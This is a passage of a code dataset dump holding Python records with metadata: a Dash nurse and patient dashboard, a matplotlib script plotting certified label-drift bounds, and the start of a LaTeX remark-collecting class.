len(unsorted_list[x][1]) - 1 and\n sorted_list[idx][1][letter_idx] == unsorted_list[x][1][letter_idx]):\n letter_idx += 1\n if (sorted_list[idx][1] == unsorted_list[x][1]):\n letter_idx = 0\n while (letter_idx < len(sorted_list[idx][0]) - 1 and letter_idx < len(unsorted_list[x][0]) - 1 and\n sorted_list[idx][0][letter_idx] == unsorted_list[x][0][letter_idx]):\n letter_idx += 1\n if (ord(sorted_list[idx][0][letter_idx]) > ord(unsorted_list[x][0][letter_idx])):\n break\n else:\n idx += 1\n else:\n if (ord(sorted_list[idx][1][letter_idx]) > ord(unsorted_list[x][1][letter_idx])):\n break\n else:\n idx += 1\n sorted_list.insert(idx, unsorted_list[x])\n\n for x in sorted_list:\n filtered_list.append(dbc.ListGroupItem(dbc.Row(\n (dbc.Col(x[0], width={'size': 3}),\n dbc.Col(x[1], width={'size': 2}),\n dbc.Col(x[2], width={'size': 2}),\n dbc.Col(x[3], width={'size': 1}) if x[3] != 0 else dbc.Col(\"\", width={'size': 1}),\n dbc.Col(x[4], width={'size': 1}) if x[4] != 0 else dbc.Col(\"\", width={'size': 1}),\n dbc.Col(x[5], width={'size': 1}) if x[5] != 0 else dbc.Col(\"\", width={'size': 1})),\n className='gx-5',\n )))\n\n return filtered_list\n\n# basic\n@app.callback(\n Output(\"area_collapse\", \"is_open\"),\n Input(\"area_filter\", \"n_clicks\"),\n [State(\"area_collapse\", \"is_open\")],\n)\ndef nurse_toggle_left(n_area_filter, is_open):\n if n_area_filter:\n return not is_open\n return is_open\n\n@app.callback(\n Output(\"num_patients_collapse\", \"is_open\"),\n Input(\"num_patients_filter\", \"n_clicks\"),\n [State(\"num_patients_collapse\", \"is_open\")],\n)\ndef nurse_toggle_left(n_num_patients_filter, is_open):\n if n_num_patients_filter:\n return not is_open\n return is_open\n\n@app.callback(\n Output(\"skills_collapse\", \"is_open\"),\n Input(\"skills_filter\", \"n_clicks\"),\n [State(\"skills_collapse\", \"is_open\")],\n)\ndef nurse_toggle_left(n_skills_filter, is_open):\n if n_skills_filter:\n return not is_open\n return is_open\n\n# patient page callbacks\n@app.callback(\n Output('patient_group_list', 'children'),\n [Input('patient_Name', 'value'),\n Input('patient_area_filter_checklist', 'value'),\n Input('assigned_nurse_checklist', 'value'),\n Input('sd_filter_checklist', 'value'),\n Input('patient_sort_by', 'value')]\n)\ndef patient_filter_list(name_list, area_list, num_patients_list, skills_list, patient_sort_by):\n filtered_list = []\n unsorted_list = []\n sorted_list = []\n for x in patient_info_list:\n selected = True\n if (name_list is not None and len(name_list) > 0):\n if (not (x[0] in name_list)):\n selected = False\n if (area_list is not None and len(area_list) > 0):\n if (not (x[1] in area_list)):\n selected = False\n if (num_patients_list is not None and len(num_patients_list) > 0):\n if (not ((x[2]) in num_patients_list)):\n selected = False\n if (skills_list is not None and len(skills_list) > 0):\n for y in skills_list:\n if (not ((x[3] == y) | (x[4] == y) | (x[5] == y))):\n selected = False\n if (selected):\n unsorted_list.append(x)\n\n if (patient_sort_by == \"Alphabetical (Patient)\"):\n for x in range(len(unsorted_list)):\n idx = 0\n while (idx < len(sorted_list)):\n letter_idx = 0\n while (letter_idx < len(sorted_list[idx][0]) - 1 and letter_idx < len(unsorted_list[x][0]) - 1 and\n sorted_list[idx][0][letter_idx] == unsorted_list[x][0][letter_idx]):\n letter_idx += 1\n if (ord(sorted_list[idx][0][letter_idx]) > ord(unsorted_list[x][0][letter_idx])):\n break\n else:\n idx += 1\n sorted_list.insert(idx, unsorted_list[x])\n \n elif (patient_sort_by == \"Alphabetical (Nurse)\"):\n for x in range(len(unsorted_list)):\n idx = 0\n while (idx < len(sorted_list)):\n letter_idx = 0\n while (letter_idx < len(sorted_list[idx][2]) - 1 and letter_idx < len(unsorted_list[x][2]) - 1 and\n sorted_list[idx][2][letter_idx] == unsorted_list[x][2][letter_idx]):\n letter_idx += 1\n if (ord(sorted_list[idx][2][letter_idx]) > ord(unsorted_list[x][2][letter_idx])):\n break\n else:\n idx += 1\n sorted_list.insert(idx, unsorted_list[x])\n\n elif (patient_sort_by == \"Area (default)\" or True):\n for x in range(len(unsorted_list)):\n idx = 0\n while (idx < len(sorted_list)):\n letter_idx = 0\n while (letter_idx < len(sorted_list[idx][1]) - 1 and letter_idx < len(unsorted_list[x][1]) - 1 and\n sorted_list[idx][1][letter_idx] == unsorted_list[x][1][letter_idx]):\n letter_idx += 1\n if (sorted_list[idx][1] == unsorted_list[x][1]):\n letter_idx = 0\n while (letter_idx < len(sorted_list[idx][0]) - 1 and letter_idx < len(unsorted_list[x][0]) - 1 and\n sorted_list[idx][0][letter_idx] == unsorted_list[x][0][letter_idx]):\n letter_idx += 1\n if (ord(sorted_list[idx][0][letter_idx]) > ord(unsorted_list[x][0][letter_idx])):\n break\n else:\n idx += 1\n else:\n if (ord(sorted_list[idx][1][letter_idx]) > ord(unsorted_list[x][1][letter_idx])):\n break\n else:\n idx += 1\n sorted_list.insert(idx, unsorted_list[x])\n \n for x in sorted_list:\n filtered_list.append(dbc.ListGroupItem(dbc.Row(\n (dbc.Col(x[0], width={'size': 3}),\n dbc.Col(x[1], width={'size': 2}),\n dbc.Col(x[2], width={'size': 2}),\n dbc.Col(x[3], width={'size': 1}) if x[3] != 0 else dbc.Col(\"\", width={'size': 1}),\n dbc.Col(x[4], width={'size': 1}) if x[4] != 0 else dbc.Col(\"\", width={'size': 1}),\n dbc.Col(x[5], width={'size': 1}) if x[5] != 0 else dbc.Col(\"\", width={'size': 1})),\n className='gx-5',\n )))\n\n return filtered_list\n\n# basic\n@app.callback(\n Output(\"patient_area_collapse\", \"is_open\"),\n Input(\"patient_area_filter\", \"n_clicks\"),\n [State(\"patient_area_collapse\", \"is_open\")],\n)\ndef patient_toggle_left(n_area_filter, is_open):\n if n_area_filter:\n return not is_open\n return is_open\n\n@app.callback(\n Output(\"assigned_nurse_collapse\", \"is_open\"),\n Input(\"assigned_nurse_filter\", \"n_clicks\"),\n [State(\"assigned_nurse_collapse\", \"is_open\")],\n)\ndef patient_toggle_left(n_assigned_nurse, is_open):\n if n_assigned_nurse:\n return not is_open\n return is_open\n\n@app.callback(\n Output(\"sd_collapse\", \"is_open\"),\n Input(\"sd_filter\", \"n_clicks\"),\n [State(\"sd_collapse\", \"is_open\")],\n)\ndef patient_toggle_left(n_skills_filter, is_open):\n if n_skills_filter:\n return not is_open\n return is_open\n\n@app.callback(\n Output(\"page-content\", \"children\"),\n Output(\"page-header\", \"children\"),\n Input(\"url\", \"pathname\")\n)\ndef render_page(pathname):\n if pathname == \"/\":\n return main_dash_page, main_header\n elif pathname == \"/nurse_dash\":\n return nurse_dash_page, nurse_header\n elif pathname == \"/patient_dash\":\n return patient_page_dash, patient_header\n elif pathname == \"/settings\":\n return [\n html.H5(\"Settings\")\n ]\n return [jumbotron]\n\nif __name__ == '__main__':\n app.run_server(debug=False)\n","repo_name":"AidanYom/VIP-Home-Health","sub_path":"Test_Model_V2.py","file_name":"Test_Model_V2.py","file_ext":"py","file_size_in_byte":28358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"33"} +{"seq_id":"20006437231","text":"import numpy as np\nimport os\nimport matplotlib.pyplot as plt\nfrom matplotlib.lines import Line2D\n\nfrom constants import *\nfrom lib.certify import CertifyGramian\nfrom lib.utils.plot_utils import init_style\n\n########################################################################################################################\n# formatting\nFONTSIZE = 18\nLINEWIDTH = 1.0\nCOLORS = init_style(font_size_base=FONTSIZE, linewdith_base=LINEWIDTH, sns_style='whitegrid')\n\n########################################################################################################################\n# Labels\nGRAMIAN_UPPER = 'Gramian Upper Bd.'\nGRAMIAN_LOWER = 'Gramian Lower Bd.'\nUPPER_BOUND_MARKERS = 'v'\nLOWER_BOUND_MARKERS = '^'\n\nXLABEL = r'$\\frac{1}{\\sqrt{2}}\\||\\sqrt{p_y} - \\sqrt{q_y}\\||_2$'\nYLABELS = {\n JSD_LOSS: 'JSD Loss',\n CLASSIFICATION_ERROR: 'Classification Error',\n CLASSIFICATION_ACCURACY: 'Classification Accuracy',\n AUC_SCORE: 'AUC Score'\n}\n\nEMP_SCORE_LABEL = r'$\\mathbb{E}_P[\\ell(h(X),\\,Y)]$'\nEMP_ADV_LABEL = r'$\\mathbb{E}_Q[\\ell(h(X),\\,Y)]$'\n\n\ndef main_with_subplots(cifar_root, yelp_root, save_as):\n # distances\n hellinger_distances = np.linspace(0, 1, 50)\n\n ####################################################################################################################\n # cifar\n cifar_data = np.load(file=os.path.join(cifar_root, 'sampled-error-jsd-data.npy'), allow_pickle=True)[()]\n cifar_logits = cifar_data['source-logits']\n cifar_labels = cifar_data['source-labels']\n cifar_empirical_source_score = cifar_data['source-classification-error']\n cifar_sampled_scores = cifar_data['sampled-classification-errors']\n cifar_sampled_distances = cifar_data['sampled-distances']\n\n # run certification\n cifar_certify_gramian = CertifyGramian(cifar_logits, cifar_labels, func=CLASSIFICATION_ERROR, finite_sampling=True)\n cifar_gramian_lower_bounds = cifar_certify_gramian.certify(hellinger_distances, upper_bound=False)\n cifar_gramian_upper_bounds = cifar_certify_gramian.certify(hellinger_distances, upper_bound=True)\n\n ####################################################################################################################\n # yelp\n yelp_data = np.load(file=os.path.join(yelp_root, 'sampled-error-jsd-data.npy'), allow_pickle=True)[()]\n yelp_logits = yelp_data['source-logits']\n yelp_labels = yelp_data['source-labels']\n yelp_empirical_source_score = yelp_data['source-classification-error']\n yelp_sampled_scores = yelp_data['sampled-classification-errors']\n yelp_sampled_distances = yelp_data['sampled-distances']\n\n # run certification\n yelp_certify_gramian = CertifyGramian(yelp_logits, yelp_labels, func=CLASSIFICATION_ERROR, finite_sampling=True)\n yelp_gramian_lower_bounds = yelp_certify_gramian.certify(hellinger_distances, upper_bound=False)\n yelp_gramian_upper_bounds = yelp_certify_gramian.certify(hellinger_distances, upper_bound=True)\n\n ####################################################################################################################\n # make figure\n fig, axs = plt.subplots(nrows=1, ncols=2, figsize=(9, 4))\n\n # make cifar subfig\n ax = axs[0]\n ax.plot(hellinger_distances, cifar_gramian_lower_bounds, label=GRAMIAN_LOWER, linestyle='-', lw=2.5, c='black',\n marker=LOWER_BOUND_MARKERS, markevery=2)\n ax.plot(hellinger_distances, cifar_gramian_upper_bounds, label=GRAMIAN_UPPER, linestyle='-', lw=2.5, c='black',\n marker=UPPER_BOUND_MARKERS, markevery=2)\n ax.scatter(cifar_sampled_distances, cifar_sampled_scores, marker='o', alpha=0.7, color='dimgray', s=2,\n label=r'$\\mathbb{E}_Q[\\ell(X,\\,Y)]$')\n\n ax.plot([0], cifar_empirical_source_score, marker='D', color=COLORS[2], lw=2.0, zorder=20)\n ax.hlines(y=cifar_empirical_source_score, xmin=0.0, xmax=1.0, label=EMP_SCORE_LABEL, color=COLORS[2], zorder=20,\n ls='--', lw=2.0)\n # ax.scatter([0], cifar_empirical_source_score, label=EMP_SCORE_LABEL, marker='x', color=COLORS[1], s=50, zorder=20)\n\n ax.set_ylabel(YLABELS[CLASSIFICATION_ERROR])\n ax.set_xlabel(XLABEL)\n ax.set_ylim((-0.02, 0.6))\n ax.set_xlim((-0.02, 0.3))\n ax.set_title('CIFAR-10')\n\n # make yelp subfig\n ax = axs[1]\n ax.plot(hellinger_distances, yelp_gramian_lower_bounds, linestyle='-', lw=2.5, c='black',\n marker=LOWER_BOUND_MARKERS, markevery=2)\n ax.plot(hellinger_distances, yelp_gramian_upper_bounds, linestyle='-', lw=2.5, c='black',\n marker=UPPER_BOUND_MARKERS, markevery=2)\n\n ax.scatter(yelp_sampled_distances, yelp_sampled_scores, marker='o', alpha=0.7, color='dimgray', s=2,\n label=r'$\\mathbb{E}_Q[\\ell(X,\\,Y)]$')\n\n ax.plot([0], yelp_empirical_source_score, marker='D', color=COLORS[2], lw=2.0, zorder=20)\n ax.hlines(y=yelp_empirical_source_score, xmin=0.0, xmax=1.0, label=EMP_SCORE_LABEL, color=COLORS[2], zorder=20,\n ls='--', lw=2.0)\n\n ax.set_xlabel(XLABEL)\n ax.set_ylim((-0.02, 1.0))\n ax.set_xlim((-0.02, 0.5))\n ax.set_title('Yelp')\n\n # legend\n handles = [\n # Line2D([0], [0], color='black', lw=2.5, ls='-'),\n Line2D([0], [0], color=COLORS[2], marker='D', ls='-', lw=2.0),\n Line2D([0], [0], color=COLORS[1], marker='o', alpha=0.7, ls='', c='dimgray', lw=2.0),\n Line2D([0], [0], color='black', marker=UPPER_BOUND_MARKERS, ls='-', lw=2.0),\n Line2D([0], [0], color='black', marker=LOWER_BOUND_MARKERS, ls='-', lw=2.0)]\n labels = [EMP_SCORE_LABEL, EMP_ADV_LABEL, GRAMIAN_UPPER, GRAMIAN_LOWER]\n fig.legend(handles, labels, ncol=4, frameon=False, loc='lower center', bbox_to_anchor=(0.5, -0.05),\n fontsize=FONTSIZE - 2, handletextpad=0.5, labelspacing=1.0, handlelength=1.5, columnspacing=1.0)\n\n fig.tight_layout()\n\n if save_as is not None:\n plt.savefig(save_as, bbox_inches='tight', pad_inches=0.1, dpi=100)\n plt.savefig(save_as.replace('.pdf', '.png'), bbox_inches='tight', pad_inches=0.1, dpi=200)\n print(f'saved figure as {save_as}')\n plt.close(fig)\n return\n\n plt.show()\n plt.close(fig)\n\n\ndef main_single_plot(data_root, title, func=CLASSIFICATION_ERROR, save_as=None, xlim=None, ylim=None):\n data_keys = {\n CLASSIFICATION_ERROR: {\n 'empirical_source_score': 'source-classification-error',\n 'sampled_scores': 'sampled-classification-errors'},\n JSD_LOSS: {\n 'empirical_source_score': 'source-jsd-loss',\n 'sampled_scores': 'sampled-jsd-losses'\n },\n }[func]\n\n # distances\n hellinger_distances = np.linspace(0, 1, 50)\n\n data = np.load(file=os.path.join(data_root, 'sampled-error-jsd-data.npy'), allow_pickle=True)[()]\n logits = data['source-logits']\n labels = data['source-labels']\n empirical_source_score = data[data_keys['empirical_source_score']]\n sampled_scores = data[data_keys['sampled_scores']]\n sampled_distances = data['sampled-distances']\n\n ####################################################################################################################\n # run certification\n certify_gramian = CertifyGramian(logits, labels, func=func, finite_sampling=True)\n gramian_lower_bounds = certify_gramian.certify(hellinger_distances, upper_bound=False)\n gramian_upper_bounds = certify_gramian.certify(hellinger_distances, upper_bound=True)\n\n ####################################################################################################################\n # make figure\n fig = plt.figure(figsize=(6, 4))\n\n # make cifar subfig\n plt.plot(hellinger_distances, gramian_lower_bounds, linestyle='-', lw=2.5, c='black',\n marker=LOWER_BOUND_MARKERS, markevery=2)\n plt.plot(hellinger_distances, gramian_upper_bounds, linestyle='-', lw=2.5, c='black',\n marker=UPPER_BOUND_MARKERS, markevery=2)\n\n plt.scatter(sampled_distances, sampled_scores, marker='o', alpha=0.7, color='dimgray', s=2,\n label=r'$\\mathbb{E}_Q[\\ell(X,\\,Y)]$')\n\n plt.plot([0], empirical_source_score, marker='D', color=COLORS[2], lw=2.0, zorder=20)\n plt.hlines(y=empirical_source_score, xmin=0.0, xmax=1.0, label=EMP_SCORE_LABEL, color=COLORS[2], zorder=20,\n ls='--', lw=2.0)\n\n plt.ylabel(YLABELS[func])\n plt.xlabel(XLABEL)\n plt.ylim(ylim or (-0.02, 0.6))\n plt.xlim(xlim or (-0.02, 0.3))\n if title is not None:\n plt.title(title)\n\n # legend\n handles = [Line2D([0], [0], color='black', lw=2.5, ls='-', marker=LOWER_BOUND_MARKERS),\n Line2D([0], [0], color='black', lw=2.5, ls='-', marker=UPPER_BOUND_MARKERS),\n Line2D([0], [0], color=COLORS[2], marker='D', ls='--', lw=2.0),\n Line2D([0], [0], color=COLORS[1], marker='o', alpha=0.7, ls='', c='dimgray', lw=2.0)]\n labels = [GRAMIAN_LOWER, GRAMIAN_UPPER, EMP_SCORE_LABEL, EMP_ADV_LABEL]\n plt.legend(handles, labels, frameon=True, fancybox=False, framealpha=1.0, handletextpad=0.5, labelspacing=.2,\n handlelength=1.2, columnspacing=0.8, ncol=1, loc='upper left', bbox_to_anchor=(0.0, 1.0),\n fontsize=FONTSIZE - 4)\n\n fig.tight_layout()\n\n if save_as is not None:\n plt.savefig(save_as, bbox_inches='tight', pad_inches=0.1, dpi=100)\n plt.savefig(save_as.replace('.pdf', '.png'), bbox_inches='tight', pad_inches=0.1, dpi=200)\n print(f'saved figure as {save_as}')\n plt.close(fig)\n return\n\n plt.show()\n plt.close(fig)\n\n\nif __name__ == '__main__':\n figures_dir = './results/figures/label-drift/'\n data_dir = 'results/data'\n\n # ####################################################################################################################\n # # main figure with two suplots\n main_with_subplots(\n save_as=os.path.join(figures_dir, 'cifar10-yelp-label_drift.pdf'),\n cifar_root=os.path.join(data_dir, 'cifar10/densenet121'),\n yelp_root=os.path.join(data_dir, 'yelp/BERT_logits')\n )\n\n # ##################################################################################################################\n # individual cifar-10 figures\n for fn in [JSD_LOSS, CLASSIFICATION_ERROR]:\n save_as_fp = os.path.join(figures_dir, 'cifar10-label-drift-{}-{}.pdf')\n main_single_plot(data_root=os.path.join(data_dir, 'cifar10/densenet121'),\n title=None,\n func=fn,\n save_as=save_as_fp.format('densenet121', fn))\n main_single_plot(data_root=os.path.join(data_dir, 'cifar10/densenet169'),\n title=None,\n func=fn,\n save_as=save_as_fp.format('densenet169', fn))\n main_single_plot(data_root=os.path.join(data_dir, 'cifar10/googlenet'),\n title=None,\n func=fn,\n save_as=save_as_fp.format('googlenet', fn))\n main_single_plot(data_root=os.path.join(data_dir, 'cifar10/inception_v3'),\n title=None,\n func=fn,\n save_as=save_as_fp.format('inception_v3', fn))\n main_single_plot(data_root=os.path.join(data_dir, 'cifar10/mobilenet_v2'),\n title=None,\n func=fn,\n save_as=save_as_fp.format('mobilenet_v2', fn))\n main_single_plot(data_root=os.path.join(data_dir, 'cifar10/resnet18'),\n title=None,\n func=fn,\n save_as=save_as_fp.format('resnet18', fn))\n main_single_plot(data_root=os.path.join(data_dir, 'cifar10/resnet50'),\n title=None,\n func=fn,\n save_as=save_as_fp.format('resnet50', fn))\n main_single_plot(data_root=os.path.join(data_dir, 'cifar10/vgg11_bn'),\n title=None,\n func=fn,\n save_as=save_as_fp.format('vgg11bn', fn))\n main_single_plot(data_root=os.path.join(data_dir, 'cifar10/vgg19_bn'),\n title=None,\n func=fn,\n save_as=save_as_fp.format('vgg19bn', fn))\n\n # ##################################################################################################################\n # individual imagenet figures\n for fn in [JSD_LOSS, CLASSIFICATION_ERROR]:\n save_as_fp = os.path.join(figures_dir, 'imagenet-label-drift-{}-{}.pdf')\n main_single_plot(data_root=os.path.join(data_dir, 'imagenet/efficientnet_b7'),\n title=None,\n func=fn,\n save_as=save_as_fp.format('efficientnet_b7', fn),\n xlim=(-0.02, 0.5), ylim=(-0.02, 1.0))\n\n # ##################################################################################################################\n # individual snli figures\n for fn in [JSD_LOSS, CLASSIFICATION_ERROR]:\n save_as_fp = os.path.join(figures_dir, 'snli-label-drift-{}-{}.pdf')\n main_single_plot(data_root=os.path.join(data_dir, 'snli/DeBERTa_logits'),\n title=None,\n func=fn,\n save_as=save_as_fp.format('DeBERTa', fn),\n xlim=(-0.02, 0.5), ylim=(-0.02, 1.0))\n\n # ##################################################################################################################\n # individual yelp figures\n for fn in [JSD_LOSS]:\n save_as_fp = os.path.join(figures_dir, 'yelp-label-drift-{}-{}.pdf')\n main_single_plot(data_root=os.path.join(data_dir, 'yelp/BERT_logits'),\n title=None,\n func=fn,\n save_as=save_as_fp.format('BERT', fn),\n xlim=(-0.02, 0.5), ylim=(-0.02, 1.0))\n","repo_name":"DS3Lab/certified-generalization","sub_path":"src/make_figures_label_drift.py","file_name":"make_figures_label_drift.py","file_ext":"py","file_size_in_byte":13956,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"33"} +{"seq_id":"34830739399","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nФункциональность сбора заметок из LateX-файлов.\r\n\"\"\"\r\nimport os\r\nimport os.path\r\nimport re\r\nfrom copy import copy\r\n\r\nclass RemarksInLatex:\r\n \"\"\"\r\n Класс присоединяется к проектной БД,\r\n и при запуске обработки загружает туда заметки из заданного файла.\r\n \"\"\"\r\n def __init__(self, project_db):\r\n self.project_db = project_db\r\n self.remark_re = re.compile(\r\n ''.join([r\"(?ms)^\\\\begin{(?Premark)}\",\r\n r\"(\\\\label{(?P